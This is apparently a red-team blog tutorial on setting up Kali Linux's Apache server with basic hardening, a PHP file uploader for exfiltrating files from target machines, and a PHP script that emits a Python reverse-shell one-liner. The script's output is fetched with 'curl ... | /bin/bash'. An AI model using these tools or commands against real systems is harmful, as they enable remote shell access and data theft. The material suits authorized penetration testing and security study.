
Configure Apache on Kali
Photo Credits: Unsplash, Kali, and Wikipedia
Introduction
Most users of Kali Linux are aware of the installed-by-default Apache web server; However, few - in my experience - make much use of it. This article walks through the first steps I take in configuring the Apache web server for convenient red-teaming functions.
Basic Security Precautions
Many red-teamers overlook the security of their own platforms, but I can't afford to given my configuration: I create an upload service for the exfiltration of files from target machines, and I also use PHP to generate reverse-shell code snippets with the correct IPs and ports. If basic precautions are not taken, I am setting myself up for a trivial reverse shell attack (i.e., one could upload a PHP web shell using the uploader, then... execute it. Two steps, max.)
Disable Directory Listing
This does nothing to prevent the issue described in the preceeding section, but I consider it a basic security precaution, and I generally take this step before proceeding with anything else.
My first step: remove 'Indexes' from the main Apache configuration file. (Also, consider commenting out all <Directory>
blocks for directories that will not be in active use.)
Initial config (only showing relevant section):
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
Edited config:
<Directory /var/www/>
Options FollowSymLinks
AllowOverride All
Require all granted
</Directory>
Restrict PHP By Location
My second step is to restrict the directories in which PHP will be executed. To do this, edit /etc/apache2/mods-enabled/php<version>.conf
.
Below the default <Directory>
block, I add a <DirectoryMatch>
block with regex to match all subdirectories of /var/www/html
except the subdirectory 'shells', where I will be placing some PHP scripts. This will limit PHP execution to /var/www/html
and /var/www/html/shells/
.
Added lines:
<DirectoryMatch "^/var/www/html/((?!shells).+)/">
php_admin_flag engine Off
</DirectoryMatch>
Restrict PHP Functions
Next, I disable commonly abused PHP functions, such as exec
, system
, and eval
. To do this, edit your system's php.ini
file, typically located at /etc/php/<Your PHP Version>/apache2/php.ini
. Find the line starting with disable_functions =
and add your list of functions to the end of the line.
Before:
disable_functions =
After:
disable_functions = exec, system, eval
Adding Features
With those settings out of the way, I can start to add features.
Uploader
First up is a PHP script for uploading files. This can be very handy when remote code execution has been gained on a Linux box. (For Windows targets, I prefer impacket's smbserver.py
.)
Steps:
mkdir /var/www/html/uploads
- Create
/var/www/html/upload.html
<!DOCTYPE html>
<html>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
Select file to upload:
<input type="file" name="file" id="file">
<input type="submit" value="Upload" name="submit">
</form>
</body>
</html>
- Create
/var/www/html/upload.php
<?php
# for troubleshooting, uncomment the following:
#$json = json_encode($_FILES);
#echo "$json\n";
$target_dir = "uploads/";
if (basename($_FILES["file"]["name"]) != "") {
$target_file = $target_dir . basename($_FILES["file"]["name"]);
} else {
$target_file = $target_dir . "tmp";
}
$uploadOk = 1;
// Check if file already exists
if (file_exists($target_file)) {
echo "Error: file $target_file already exists\n";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
echo "The file ". htmlspecialchars( basename( $_FILES["file"]["name"])). " has been uploaded.";
} else {
echo "there was an error uploading your file";
}
}
?>
Note: This script is largely the product of a StackOverflow post I have long since lost the link to. My apologies to the original author.
Unnecessary Styling
In the spirit of transparency, my setup is marginally more complex; For no real reason, I have added CSS to my html page, even though I almost exclusively upload files with curl
. If you care to be inefficient like me, take the following steps:
mkdir -p /var/www/html/assets/css
- Create
/var/www/html/assets/css/styles.css
html, body {
font-family: 'Poppins', sans-serif;
font-weight: 400;
background-color: #262626;
color: #e5e7eb;
font-size: 16px;
-ms-text-size-adjust: 100%;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
h1, h2, h3, h4, h5, h6 {
color: #fff;
font-weight: 700;
}
h1 {
margin-top: 10px;
margin-bottom: 10px;
font-size: 50px;
}
h2 {
margin-bottom: 10px;
font-size: 35px;
}
body {
display: flex;
flex-direction: column;
align-items: center;
gap: 10px;
width: 100%;
font-size: large;
}
form {
display: flex;
flex-direction: column;
gap: 10px;
width: 300px;
}
- Add the following to
/var/www/html/upload.html
<head>
<title>File Uploader</title>
<link
href="https://fonts.googleapis.com/css2?family=Poppins:wght@100;200;300;400;500;600;700;800;900&display=swap"
rel="stylesheet">
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@4.4.1/dist/css/bootstrap.min.css"
integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
crossorigin="anonymous"
rel="stylesheet">
<link
href="assets/css/styles.css"
rel="stylesheet">
</head>
Before:

After:

Shell Generator
While the uploader is my most-used feature, the shell generator might be my favorite. When first gaining code execution on a remote host, one often does not have access to a full, interactive shell. Generally, gaining one is the first step in a more thorough exploitation. To avoid the various issues of excessively long one-liners, escaping quotes, and escaping special characters, I often found myself:
- Creating a file with a reverse-shell code snippet, taking care to edit in the correct IP and port for my attacker box
- Putting that file in
/var/www/html
- Downloading and executing that file from the target, e.g.,
curl <URI> | /bin/bash
To reduce the number of steps, do the following:
mkdir /var/www/html/shells
- Create
/var/www/html/shells/py.php
<?php
$ip = $_SERVER["SERVER_ADDR"];
if (isset($_GET["port"])) {
$port = $_GET["port"];
} else {
$port = "8080";
}
$str = "python3 -c " . '\'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("' . $ip . '",' . $port . '));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'';
echo $str;
?>
This script returns the python reverse-shell code snippet with the IP address on the server port that received the request (so it will work even in a multi-interface scenario), and either the port provided as a URL parameter in the request, or the default port (8080) if none is provided.
Request Rewriting
As my last configuration change, I like to enable the rewriting module to eliminate the need for typing .html
. With the following configuration, the Apache server will test all invalid URIs to see if there is a matching .html
file, and - if so - return it.
sudo a2enmod rewrite
- Edit the site configuration file:
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
<Directory "/var/www/html">
RewriteEngine on
# is not a directory
RewriteCond %{REQUEST_FILENAME} !-d
# is not a file
RewriteCond %{REQUEST_FILENAME} !-f
# there is an html file by that name
RewriteCond %{REQUEST_FILENAME}\.html -f
# append .html
RewriteRule ^(.*)$ $1.html
</Directory>
</VirtualHost>
Tests
Note: Before testing any changes, be sure to start/restart the server: systemctl restart apache2
. And, if you haven't already, consider enabling the service: systemctl enable apache2
.
Uploader
To test the uploader from the local machine (or a remote machine - but edit the hostname below): curl -X POST http://localhost/upload.php -F "file=@/tmp/test.txt"
.
(This of course assumes you have a file located at /tmp/test.txt
on the machine where you are running the command.)
Shell Generator
To test the shell generator example from the local machine (or a remote machine - but edit the hostname below):
- Open a netcat listener, preferably in combination with
rlwrap
:rlwrap nc -lvp 8888
curl http://127.0.0.1/shells/py.php?port=8888 | /bin/bash
- Profit..?
Note: localhost
will not work as expected with your curl
command for the shell generator.
